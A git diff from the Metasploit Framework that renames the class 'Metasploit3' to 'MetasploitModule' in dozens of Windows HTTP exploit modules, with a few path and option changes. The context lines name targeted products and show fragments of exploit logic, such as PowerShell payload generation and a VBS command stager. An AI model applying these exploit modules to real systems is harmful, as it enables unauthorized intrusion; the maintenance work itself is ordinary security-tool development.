a770467975..6693c11399 100644 --- a/modules/exploits/windows/http/ericom_access_now_bof.rb +++ b/modules/exploits/windows/http/ericom_access_now_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/ezserver_http.rb b/modules/exploits/windows/http/ezserver_http.rb index 772d2e31aa..4b704d325e 100644 --- a/modules/exploits/windows/http/ezserver_http.rb +++ b/modules/exploits/windows/http/ezserver_http.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/fdm_auth_header.rb b/modules/exploits/windows/http/fdm_auth_header.rb index 6a396493ac..ba762f52b5 100644 --- a/modules/exploits/windows/http/fdm_auth_header.rb +++ b/modules/exploits/windows/http/fdm_auth_header.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # w/auth required: [*] x.x.x.x ( 401-Basic realm="FDM Remote control server" ) diff --git a/modules/exploits/windows/http/generic_http_dll_injection.rb b/modules/exploits/windows/http/generic_http_dll_injection.rb index 949c22a1e0..0e80b7fef6 100644 --- a/modules/exploits/windows/http/generic_http_dll_injection.rb +++ b/modules/exploits/windows/http/generic_http_dll_injection.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/hp_autopass_license_traversal.rb b/modules/exploits/windows/http/hp_autopass_license_traversal.rb index 82245bab7a..2e0e944341 100644 --- a/modules/exploits/windows/http/hp_autopass_license_traversal.rb +++ b/modules/exploits/windows/http/hp_autopass_license_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb index eb447a6e35..4396f25703 100644 --- a/modules/exploits/windows/http/hp_imc_bims_upload.rb +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/windows/http/hp_imc_mibfileupload.rb b/modules/exploits/windows/http/hp_imc_mibfileupload.rb index f3366ccfbd..169532851f 100644 --- a/modules/exploits/windows/http/hp_imc_mibfileupload.rb +++ b/modules/exploits/windows/http/hp_imc_mibfileupload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb index a41ebf45b8..50e1585296 100644 --- a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb +++ b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] } diff --git a/modules/exploits/windows/http/hp_mpa_job_acct.rb b/modules/exploits/windows/http/hp_mpa_job_acct.rb index 65ba7b2ac3..1049d6673b 100644 --- a/modules/exploits/windows/http/hp_mpa_job_acct.rb +++ b/modules/exploits/windows/http/hp_mpa_job_acct.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb index 4662a10c1d..2294c8b669 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb +++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ } diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb index acc7ebc703..11a8dad538 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb +++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ } diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb index 87bf5d4ac7..da06017e88 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb +++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/getnnmdata.exe', :pattern => /Hewlett-Packard Development Company/ } diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb index 5b04429e57..e219d739fc 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb index 5a5e8f9e58..241ec0cf1a 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/hp_nnm_openview5.rb b/modules/exploits/windows/http/hp_nnm_openview5.rb index 303a6aa930..edff3b0c55 100644 --- a/modules/exploits/windows/http/hp_nnm_openview5.rb +++ b/modules/exploits/windows/http/hp_nnm_openview5.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb index 867dd837c6..e709be8cf0 100644 --- a/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb +++ b/modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb index c0c7a84d27..8982d9bbbe 100644 --- a/modules/exploits/windows/http/hp_nnm_ovas.rb +++ b/modules/exploits/windows/http/hp_nnm_ovas.rb @@ -11,7 +11,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # =( need more targets and perhaps more OS specific return values OS specific would be preferred diff --git a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb index e9e798f40f..7981a0efbc 100644 --- a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb +++ b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/webappmon.exe', :pattern => /Hewlett-Packard Development Company/ } diff --git a/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb b/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb index f546994531..cdb57c968e 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebhelp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb index 5b2d8df90d..8e7e3c1d2b 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/jovgraph.exe', :pattern => /Hewlett-Packard Development Company/ } diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb index e653bcf3c1..6ac18869d3 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/jovgraph.exe', :pattern => /Hewlett-Packard Development Company/ } diff --git a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb index 054d3c4090..bfe0674871 100644 --- a/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb +++ b/modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/jovgraph.exe', :pattern => /Hewlett-Packard Development Company/ } diff --git a/modules/exploits/windows/http/hp_nnm_snmp.rb b/modules/exploits/windows/http/hp_nnm_snmp.rb index d2c98ea6ba..8632155f8a 100644 --- a/modules/exploits/windows/http/hp_nnm_snmp.rb +++ b/modules/exploits/windows/http/hp_nnm_snmp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb index 18fbdce2b0..e6c8376f02 100644 --- a/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb +++ b/modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/snmpviewer.exe', :pattern => /Hewlett-Packard Development Company/ } diff --git a/modules/exploits/windows/http/hp_nnm_toolbar_01.rb b/modules/exploits/windows/http/hp_nnm_toolbar_01.rb index e233bfd79b..ebb5c95576 100644 --- a/modules/exploits/windows/http/hp_nnm_toolbar_01.rb +++ b/modules/exploits/windows/http/hp_nnm_toolbar_01.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/hp_nnm_toolbar_02.rb b/modules/exploits/windows/http/hp_nnm_toolbar_02.rb index 75609ae473..d53f58ec5b 100644 --- a/modules/exploits/windows/http/hp_nnm_toolbar_02.rb +++ b/modules/exploits/windows/http/hp_nnm_toolbar_02.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb index 44464a26e7..37d8c6bd7d 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/webappmon.exe', :pattern => /Hewlett-Packard Development Company/ } diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb index 5dec29805a..47d8108ede 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/OpenView.exe', :pattern => /Hewlett-Packard Development Company/ } diff --git a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb index 691934ac8e..20514989eb 100644 --- a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb +++ b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index ed9ddab692..e409da7372 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb index 40eb5cab67..92ef605294 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } diff --git a/modules/exploits/windows/http/hp_power_manager_filename.rb b/modules/exploits/windows/http/hp_power_manager_filename.rb index db9a37d637..0f943908b5 100644 --- a/modules/exploits/windows/http/hp_power_manager_filename.rb +++ b/modules/exploits/windows/http/hp_power_manager_filename.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/hp_power_manager_login.rb b/modules/exploits/windows/http/hp_power_manager_login.rb index 3215be533a..2d4f0e3dd0 100644 --- a/modules/exploits/windows/http/hp_power_manager_login.rb +++ b/modules/exploits/windows/http/hp_power_manager_login.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb index a221aebd55..61e4361241 100644 --- a/modules/exploits/windows/http/hp_sitescope_dns_tool.rb +++ b/modules/exploits/windows/http/hp_sitescope_dns_tool.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/powershell' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient @@ -181,7 +181,7 @@ class Metasploit3 < Msf::Exploit::Remote command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) end - file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw') + file = File.join( Msf::Config.data_directory, 'exploits', 'R7_2015_17', 'stream.raw') f = File.new(file, 'rb') stream = Rex::Java::Serialization::Model::Stream.decode(f) diff --git a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb index 9310991d96..6fb9a72f48 100644 --- a/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb +++ b/modules/exploits/windows/http/hp_sitescope_runomagentcommand.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DefaultOptions' => { - 'CMDSTAGER::DECODER' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") + 'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_noquot") }, 'DisclosureDate' => 'Jul 29 2013')) diff --git a/modules/exploits/windows/http/httpdx_handlepeer.rb b/modules/exploits/windows/http/httpdx_handlepeer.rb index d6802c853e..db7349f2b9 100644 --- a/modules/exploits/windows/http/httpdx_handlepeer.rb +++ b/modules/exploits/windows/http/httpdx_handlepeer.rb @@ -19,7 +19,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /httpdx\/.* \(Win32\)/ ] } diff --git a/modules/exploits/windows/http/httpdx_tolog_format.rb b/modules/exploits/windows/http/httpdx_tolog_format.rb index bb0bf66cdc..3c6c307d55 100644 --- a/modules/exploits/windows/http/httpdx_tolog_format.rb +++ b/modules/exploits/windows/http/httpdx_tolog_format.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/ia_webmail.rb b/modules/exploits/windows/http/ia_webmail.rb index d20b2d65ea..858761d5b2 100644 --- a/modules/exploits/windows/http/ia_webmail.rb +++ b/modules/exploits/windows/http/ia_webmail.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb index 7ce4a44b51..20350f46d3 100644 --- a/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb +++ b/modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb b/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb index fba7ae256a..5fc1f2e280 100644 --- a/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb +++ b/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/ibm_tsm_cad_header.rb b/modules/exploits/windows/http/ibm_tsm_cad_header.rb index b7e738d5b4..02a2577049 100644 --- a/modules/exploits/windows/http/ibm_tsm_cad_header.rb +++ b/modules/exploits/windows/http/ibm_tsm_cad_header.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/icecast_header.rb b/modules/exploits/windows/http/icecast_header.rb index eab3afafdd..f8d661fd61 100644 --- a/modules/exploits/windows/http/icecast_header.rb +++ b/modules/exploits/windows/http/icecast_header.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/integard_password_bof.rb b/modules/exploits/windows/http/integard_password_bof.rb index 1b8962d096..7fa35f9262 100644 --- a/modules/exploits/windows/http/integard_password_bof.rb +++ b/modules/exploits/windows/http/integard_password_bof.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # stack bof, seh, universal ret, auto targeting include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/intersystems_cache.rb b/modules/exploits/windows/http/intersystems_cache.rb index 6cec7edfd1..5015245f56 100644 --- a/modules/exploits/windows/http/intersystems_cache.rb +++ b/modules/exploits/windows/http/intersystems_cache.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # XXX: Needs custom body check HttpFingerprint = { :uri => '/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] } diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 936bfb0e44..ef301edbab 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb b/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb index c5ce138480..f77b24d91c 100644 --- a/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb +++ b/modules/exploits/windows/http/ipswitch_wug_maincfgret.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking # [*] x.x.x.x WhatsUp_Gold/8.0 ( 401-Basic realm="WhatsUp Gold" ) diff --git a/modules/exploits/windows/http/jira_collector_traversal.rb b/modules/exploits/windows/http/jira_collector_traversal.rb index 1fcd7c1d38..5c9f0ba30e 100644 --- a/modules/exploits/windows/http/jira_collector_traversal.rb +++ b/modules/exploits/windows/http/jira_collector_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to JIRA', '/']), - OptInt.new('COLLECTOR', [true, 'Collector ID']) + OptString.new('COLLECTOR', [true, 'Collector ID']) ], self.class) register_advanced_options( diff --git a/modules/exploits/windows/http/kaseya_uploader.rb b/modules/exploits/windows/http/kaseya_uploader.rb index a481ff4676..4fa901af14 100644 --- a/modules/exploits/windows/http/kaseya_uploader.rb +++ b/modules/exploits/windows/http/kaseya_uploader.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb index ab0204bfc9..8037a95ec3 100644 --- a/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb +++ b/modules/exploits/windows/http/kaseya_uploadimage_file_upload.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/kolibri_http.rb b/modules/exploits/windows/http/kolibri_http.rb index afd75aa97d..e0b5dc2d8d 100644 --- a/modules/exploits/windows/http/kolibri_http.rb +++ b/modules/exploits/windows/http/kolibri_http.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] } diff --git a/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb b/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb index bac17e0e49..9dac1e3d1a 100644 --- a/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb +++ b/modules/exploits/windows/http/landesk_thinkmanagement_upload_asp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb index 39c4b04f60..367e93543a 100644 --- a/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb +++ b/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper diff --git a/modules/exploits/windows/http/mailenable_auth_header.rb b/modules/exploits/windows/http/mailenable_auth_header.rb index 83fd3da795..0d0fd3e481 100644 --- a/modules/exploits/windows/http/mailenable_auth_header.rb +++ b/modules/exploits/windows/http/mailenable_auth_header.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /MailEnable/ ] } diff --git a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb index 18ae25b9b5..f707b34c05 100644 --- a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb +++ b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote # It removes large object in database, shoudn't be a problem, but just in case.... Rank = ManualRanking diff --git a/modules/exploits/windows/http/manageengine_apps_mngr.rb b/modules/exploits/windows/http/manageengine_apps_mngr.rb index e017dd250a..ebbada86aa 100644 --- a/modules/exploits/windows/http/manageengine_apps_mngr.rb +++ b/modules/exploits/windows/http/manageengine_apps_mngr.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/http/manageengine_connectionid_write.rb b/modules/exploits/windows/http/manageengine_connectionid_write.rb index e69b65abee..8bbe7ff0c8 100644 --- a/modules/exploits/windows/http/manageengine_connectionid_write.rb +++ b/modules/exploits/windows/http/manageengine_connectionid_write.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'nokogiri' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ 